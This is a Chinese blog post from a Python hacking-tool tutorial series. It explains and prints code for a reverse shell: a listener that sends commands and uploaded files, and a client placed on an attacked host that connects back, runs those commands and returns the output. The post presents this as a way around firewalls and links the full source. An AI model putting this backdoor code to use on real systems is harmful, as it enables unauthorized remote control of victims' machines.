python小工具学习连载
-反向shell-
|
在上一集的文章中,我们完成了一个类似瑞士军刀的工具,我们将该工具上传到被攻击的目标主机上后,可以通过主动连接被攻击者去获取shell,但是在大多数情况下,我们的正向连接,很可能会因为防火墙等设备导致正向连接失败,比如我在mac下开启了mac的防火墙后,则windows无法主动连接成功我的mac。这个时候,就需要反向的shell来帮助我们。其实反向shell的原理也十分简单,原来我们是服务器调用命令执行的模块,而这次我们客户端去调用命令执行的模块,客户端首先主动连接服务器,然后我们在服务器端输入命令,发送给客户端,由客户端执行后返回给服务器。
工具效果
还是先上截图:
服务器端,开启监听 9999端口
客户端主动尝试连接服务器。
可以看到,我们的服务器首先在接受到客户端的请求后,弹出来命令输入到地方,然后将命令发送给客户端执行,并返回了执行的结果,上传文件也同理,可以看到成功上传了我们上一次的正向代理的脚本代码。
实现原理
其实这个工具的实现原理基本和上一次的正连接相同。
还是首先在主函数,判断用户启动的是客户端还是服务端。
# 判断是听还是发送数据
if not listen and len(target) and port > 0:
# 从命令行读取内存数据
client_sender()
if listen:
server_loop()
我们首先启动服务器端。
def server_loop():
global target
# 如果没有定义目标,那么要监听所有端口
if not len(target):
target = "0.0.0.0"
# 创建socket连接
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(((target,port)))
server.listen(5)
while True:
client_socket,addr = server.accept()
# 给一个线程用来处理新的客户端
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
可以看到,服务器端首先开启监听所有端口,然后进入一个死循环,不断等待接受连接,并给新的连接分配线程,每个线程调用的都是客户端的处理函数。
def client_handler(client_socket):
while True:
recv_len = 1
response = bytes("",encoding="utf-8")
while recv_len:
data = client_socket.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
# 等待更多输入
buffer = input("> ")
if 'upload_file=' in buffer:
f = open(buffer.split('=')[1],'r')
buffer += ',file_msg='
buffer += f.read()
f.close()
buffer += 'n'
buffer = bytes(buffer,encoding="utf-8")
# 客户端发送数据
client_socket.send(buffer)
然后在处理函数中,首先接受客户端发送的消息,然后提示用户输入内容,并发送给客户端。这里的处理,其实就是正向连接中,客户端对收到服务器连接成功信息后的处理结果。
此时,我们的服务器会重复接受客户端的信息,提示用户输入信息,将用户输入的信息发送给客户端这3个步骤。
然后我们来看客户端。
def client_sender():
global upload
global command
# 创建socket连接
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
# 尝试连接到目标主机
client.connect((target,port))
client.send(bytes("connect success!",encoding="utf-8"))
while True:
cmd_buffer = bytes("",encoding="utf-8")
while b"n" not in cmd_buffer:
cmd_buffer+=client.recv(4096)
if 'upload_file=' in str(cmd_buffer):
upload_file = str(cmd_buffer).split('=')[1].split(',')[0]
f = open(upload_file,'w')
f.write(str(cmd_buffer).split('=')[2][0:-3])
f.close()
response = bytes('upload success!',encoding='utf-8')
else:
# 返还命令输出
response = run_command(cmd_buffer)
# 返回响应数据
client.send(response)
except:
print("程序执行错误或用户主动退出!")
客户端首先尝试连接服务器,在连接到服务器后向服务器发送连接成功的信息,之后循环接受服务器发送到信息,并将其处理执行,而后将返回结果再发送给服务器。
这样就完成了反向的shell命令执行,其实代码基本没有变化,只不过是代码的位置发生了调换而已。
当然还有一点,上次没有说到,就是我们为什么服务器处理客户端端信息,使用的是客户端的socket呢,这个其实是因为,服务器首先可以接受到多个客户端的连接,而为了分辨要给那个客户端发送信息,所以服务器会在收到连接请求的时候,获取到客户端的socket信息,然后通过这个socket,就可以将不同客户端的信息发送给其对应的客户端。
最后,哪里来获取这个小工具的源码呢,大家可以在我的github上进行下载,也可以公众号回复nc进行获取。
https://github.com/haochen1204/python_hacktool_study
原文始发于微信公众号(藏剑安全):python小工具学习连载-反向shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论